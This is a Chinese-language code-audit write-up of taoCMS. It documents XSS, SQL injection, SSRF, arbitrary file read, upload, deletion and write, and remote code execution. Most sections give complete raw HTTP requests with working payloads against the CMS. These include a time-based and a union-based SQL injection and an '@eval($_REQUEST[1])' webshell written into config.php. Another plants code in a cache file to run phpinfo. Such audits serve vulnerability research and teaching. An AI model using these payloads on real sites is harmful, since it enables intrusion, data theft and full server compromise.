一、XSS
1、DOM型xss
限制
无
复现
payload: aa')+alert(1)+('
触发的参数:name
代码
根据路由找到对应的文件,在api.php里接受全局变量action,最终赋值给$m,判断 如果$m不在数组就结束,新建方法复制给$model。检查类的方法是否存在。$action=$m=action=comment类;ctrl=save方法;
进入Comment.php,找到触发的参数name,对post接收的name参数调用了safeword方法,跟进去
判断neme在数组内,在将name进行过滤。
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
htmlspecialchars() 函数把'"<>&转化 HTML 实体化编码。
并且使用nl2br() 函数在字符串中的每个新行(\n)之前插入 HTML 换行符(<br> 或 <br />)
找到出发的代码,定位使用的 backcomment 函数
跟踪到这里发现直接将传入的东西写进了标签内所以在标签里的内容是可以直接被解析的。 因为return会返回,所以即便有分号也不会再往后执 行,我们可以通过 + 对 return 的内容进行拼接,就变成下面这个样子。
2、存储型xss
限制
无
复现
在发表评论处的姓名字段插入dom型语句,在每次打开评论点击回复按钮时都会触发
代码
在index.php首页跟踪路由,从run跟进
在run方法调用了创建数据方法createdata();跟到此方法。因为时对$path的处理所以跟踪$path就可以
直到这里$pat还没有赋值变动,并且通过输出检查发现没有进入下面的if情况。而是进入else,并且拼接了其他语句$path也是可以控制的
从get_one跟进来,此时的where是$path,也就是直接拼接了sql查询语句,再将sql语句进行正则过滤。
3、反射型xss
限制
front=alert(1)&start=1500&rend=1550&back=.htm&each=<script>aaa</script>&basecode=utf-8&titlepreg=1&contentpreg=1&cat=0&repword=1&llink=1&test=0&action=spider&ctrl=execute&Submit=1
复现
GET /admin/admin.php?front=alert(1)&start=1500&rend=1550&back=.htm&each=<script>aaa</script>&basecode=utf-8&titlepreg=%3Ctitle%3E%5Btitle%5D%3C%2Ftitle%3E&contentpreg=%3Cspan+class%3D%22smalltxt%22%3E%5Bcontent%5D%3Cdiv+id%3D%22digit%22%3E&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&test=0&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86 HTTP/1.1
Host: www.taocms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=spider&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close
代码
$reach变量没有被类型转换,过程中也没有对他处理
4、url跳转/xss
限制
api.php?action=Api&ctrl=dig
复现
GET /api.php?action=Api&ctrl=dig HTTP/1.1
Host: www.taocms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.baidu.com"><h1>aaaa</h1>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2
Connection: close
代码
接受的Referer没有被过滤
二、SQL注入
1、sql注入(Ⅰ)
限制
后台
action=category&ctrl=del
复现
payload:)+or+sleep(5)--+-
GET /taocms/admin/admin.php?action=category&id=3)+or+sleep(5)--+-&ctrl=del HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=category&ctrl=lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pliaroesrtdrgipa7ukdog7ks3; RiH_uid=5oOFbbvGrd1UUpvhkgDTXQ%3D%3D; RiH_username=I97cvAnVbpq1GhuWC2JdWQ%3D%3D; RiH_wz_name=Dt6xwSQrzKyvUb9Rsr8xeQ%3D%3D; RiH_siteid=Z0bFPM%2BHidTg9jT%2FtuA%2B7w%3D%3D
Connection: close
代码
del方法,从数据库获取要删除的内容
此时id为数组,implode将数组转为字符串赋值给ids,带到sql语句拼接没有任何过滤。所以要先闭合)在拼接sql语句
DELETE FROM ".$table." WHERE id in(".$ids.");
2、sql注入(Ⅱ)
限制
后台
action=datastore&ctrl=create
复现
GET /taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=datastore&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pliaroesrtdrgipa7ukdog7ks3; RiH_uid=5oOFbbvGrd1UUpvhkgDTXQ%3D%3D; RiH_username=I97cvAnVbpq1GhuWC2JdWQ%3D%3D; RiH_wz_name=Dt6xwSQrzKyvUb9Rsr8xeQ%3D%3D; RiH_siteid=Z0bFPM%2BHidTg9jT%2FtuA%2B7w%3D%3D
Connection: close
payload:admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8
代码
把字符串转为数组赋值给$bulist。遍历$bulist数组里的值;如果红色成立就执行绿色否则就执行蓝色,将执行结果赋值给$addsql;最后都拼接sql语句
($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';
三、SSRF
限制
后台
复现
http://127.0.0.1:3306
GET /taocms/admin/admin.php?front=http%3A%2F%2F127.0.0.1%3A3306%3Fid-&start=1&rend=2&back=.htm&each=1&basecode=utf-8&titlepreg=%28.*%29&contentpreg=%28.*%29&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&test=1&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=spider&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b0b9a10531418fc56f54786c8ebb99b4
Connection: close
代码
action=spider&ctrl=execute
$_GET接受以下参数,只将个别参数做了数字型处理。触发点在$urlfront=$_GET['front'];。
$getcontent=$this->fetchurl(urldecode($urlfront.$i.$urlback));fetchurl() 函数从指定的 (解码后的)URL 获取网页内容;并且中间没有任何过滤。
判断编码是不是UTF-8,如果不是就转换;
preg_match 去获取符合正则的内容,放到 titlearray 数组中,并将其赋值给 data["name"] ,最后输出
以下是正则匹配的代码
转义" /。
四、文件操作
1、任意文件下载/读取
限制
后台
复现
在include/Model/文件夹下创建了1.txt-->哇哇哇哇哇。构建类指向file,方法指向download。path是全局变量获取的。
代码
在admin.php文件里有个检查是否存在类的方法,这里action是对应的类,ctrl对应的类里的方法,当类的方法指向那个方法就会调用那个文件。在file文件里有download方法
在Flie类使用了多个方法,其中__construct魔术方法是在new的时候默认触发的,其中path是全局变量是可控的。 file_get_contents() 是读取文件的函数。结合echo会将读取的文件输出。此时的$info是一个数组,
array(4) {
["dirname"]=>
string(13) "include/Model"
["basename"]=>
string(5) "1.txt"
["extension"]=>
string(3) "txt"
["filename"]=>
string(1) "1"
}
realpath在 _construct() 方法里已经赋值,并且将获取的path进行拼接。
2、任意文件上传
限制
后台
直接写入文件名和内容
复现
在上传的地方做了白名单限制可以不考虑
但是可以直接新建文件,随便写个文件名就可以,手动输入文件名新建后在编辑文件的内容,当前位置实在根目录所有直接访问这个文件。
1.php--><?php phpinfo();?>
代码
判断name参数是否存在,存在就拼接路径赋值给$file,在判断isdir是否存在并且等于1,等于就创建,1代表是目录,否则打开文件,没有就创建文件,如果文件不可写就提示新建$str失败,否则继续执行将接受的name进行拼接,提示新建成功
3、任意文件上传
限制
需要构造文件上传数据,才能进入到
POST方法上传文件时,可以使用POST传递其他参数
构造上传文件的html,访问后拦截上传包,浏览器不会自带cookie,需要手动添加cookie在发送。
构造后需要改动的参数:action:上传地址;name="inid" ;name="filedata"
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
<meta charset="utf-8">
</head>
<body>
<center>
<!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输
传输文件需要设置-->
<form action="http://www.taocms.com/admin/admin.php?" method="post" enctype="multipart/form-data">
<input type="hidden" name="max_file_size" value="1048576">
<input type="text" name="inid" value="666666666">
<input type="file" name="filedata">
<input type="submit" name="上传">
</form>
</center>
</body>
</html>
复现
POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 696
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhN99QmtAn9tJ2URs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=datastore&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="filedata"; filename="1.txt"
Content-Type: text/plain
1111111
22222222
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="action"
Upload
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="ctrl"
execute
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="inid"
66666</script><h1>aaa</h1>66
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="from"
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="to"
------WebKitFormBoundaryhN99QmtAn9tJ2URs--
代码
post接受inid参数到达这一步需要成功上传文件,进入upload函数,接受filedate,手动构造上传参数进不到此处,需要构造这真实的以post数据提交的文件上传,把cookie带上
4、任意文件删除
限制
后台,知道文件的路径地址
复现
GET /taocms/admin/admin.php?action=file&ctrl=del&path=admin/3.txt HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=file&ctrl=lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b0b9a10531418fc56f54786c8ebb99b4
Connection: close
删除admin目录下的3.txt(自建)
代码
del删除方法,$_REQUEST['path'];全局变量接受path,拼接路径赋值给realpath,进行判断如果文件不可写提示无删除权限,如果传进来的$path是目录,并且$path下的文件数量大于2,提示目录非空不能删除。rmdir删除空目录;unlink() 函数删除文件。输入什么文件就删除什么文件
is_dir() 函数检查指定的文件是否是目录。
is_writable() 函数判断指定的文件是否可写
pathinfo() 函数以数组的形式返回文件路径的信息。
5、任意文件写入
限制
filedata=<?php+phpinfo()?>&action=file&ctrl=save&path=api.php&Submit=%E4%BF%9D%E5%AD%98
复现
POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=file&ctrl=edit&path=.htaccess
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close
name=api.php&filedata=<?php+phpinfo()?>&action=file&ctrl=save&path=api.php&Submit=%E4%BF%9D%E5%AD%98
代码
$path定义后拼接当前目录,没有过滤可以指定任意文件
is_writable()函数检查指定路径下的文件或目录是否可写。realpath为当前文件路径
get_magic_quotes_gpc是用来处理sql注入的,如果开启就将上传的数据magic2word处理,否则直接post接受filedate;file_put_contents函数把一个字符串写入文件中。
五、RCE
1、MySQL日志文件getshell (mysql数据库搭建才可以)
限制
需要开启日志功能
第一步:在windows下的终端窗口下进入mysql,然后输入:show global variables like 'log_bin',查看mysql的log日志是否开启,开启的话会出现下图的样子ON
如果没有开启,在这里显示的是OFF,如果想要使用log日志就就需要按以下步骤开启
第二步:在安装的根目录下创建一个名为log的文件,再在这个新创建的文件下创建一个名为log-bin的文件,最后在这个文件下创建一个名为logbin.log的文本文件,
这几个文件的名字可以改变,但是最后一个文本文件的后缀名必须以.log结尾
第三步:找到Mysql的配置文件my.ini,一般这个文件在安装mysql的根目录下
第四步:找到以上文件之后,就以文本的方式打开该文件,在[mysqld]下添加log-bin = "刚才创建logbin.log的绝对路径"
第五步:重启mysql/phpstudy
复现
代码
2、通过修改配置文件getshell
限制
需要转义原本的单引号并且注释后面的代码
复现
POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=config&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close
WEBNAME=taoCMS%E6%BC%94%E7%A4%BA&WEBURL=.%2F&WEBINFO=\');@eval($_REQUEST[1]);/*&ANNOUNCE=taoCMS%E6%BC%94%E7%A4%BA%E7%B3%BB%E7%BB%9F%EF%BC%8CtaoCMS%E6%98%AF%E5%9F%BA%E4%BA%8Ephp%2Bmysql%2Fsqlite%E7%9A%84%E5%9B%BD%E5%86%85%E6%9C%80%E5%B0%8F%E7%9A%84CMS%E7%BD%91%E7%AB%99%E5%86%85%E5%AE%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%EF%BC%81&ADMINDIR=admin%2F&TIMEMOD=8&EACHPAGE=10&TAOEDITOR=2&TAODEBUG=0&SYS_ROOT=E%3A%2Fcode%2Fphp%2Ftaocms-3.0.2%2F&CACHE=data%2F&CACHELAST=1&INC=include%2F&DB=Mysql&DB_NAME=%7C127.0.0.1%3A3306%7Ctaocms%7Ctaocms%7Ctaocms&MEMCACHE=&TB=cms_&CREATHTML=0&VIEWSCOUNT=1&CATURL=%3Fcat%3D%7Bid%7D&ATLURL=%3Fid%3D%7Bid%7D&THEME=taoCMS%2F&action=config&ctrl=update&Submit=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE
payload: \');@eval($_REQUEST[1]);/*
写入一句话木马,保存到了config.php文件
代码
is_writable() 函数判断指定的文件是否可写。
设置post接受Submit、ctrl、action参数。$configData变量上下都赋值了,拼接后是<?php ?>
在中间是 将post接受的数据进行键值分离;使用 $key 变量来表示 POST 参数的键名,使用 $configs 变量来表示 POST 参数的值。再将接受的值进行判断
这里只是键值分离的操作没有别的过滤,直接return $safeword
3、缓存文件getshell
限制
后台,要知道缓存文件,包含缓存文件的路由
复现
POST /taocms/admin/admin.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 169
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=category&ctrl=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=a361ec63524dab916c6428d9b18fa0fe
Connection: close
name=%27%29%29%3Bphpinfo%28%29%3B%2F*%27&nickname=222&fid=&cattpl=&listtpl=&distpl=&intro=333&orders=444&status=1&action=category&id=&ctrl=save&Submit=%E6%8F%90%E4%BA%A4
file_put_contents,搜索危险函数
payload:'));phpinfo();?>/*
添加成功后访问包含缓存文件的路由
代码
file_put_contents函数,向cat_array.inc里写内容,就看$arrayData变量是否可控并且有没有过滤。首先getlist函数是从数据库里获取的列表,$cat的内容是从数据库获取的然后赋值给$arrayData,所以可以从前端插入可以恶意代码到$cat获取内容的地方
这里是当前表保存数据的地方,可以从前端添加恶意数据。先看下这个表的格式,考虑到闭合的情况,这里name是在二维数组里的一维数组,要用两个))来闭合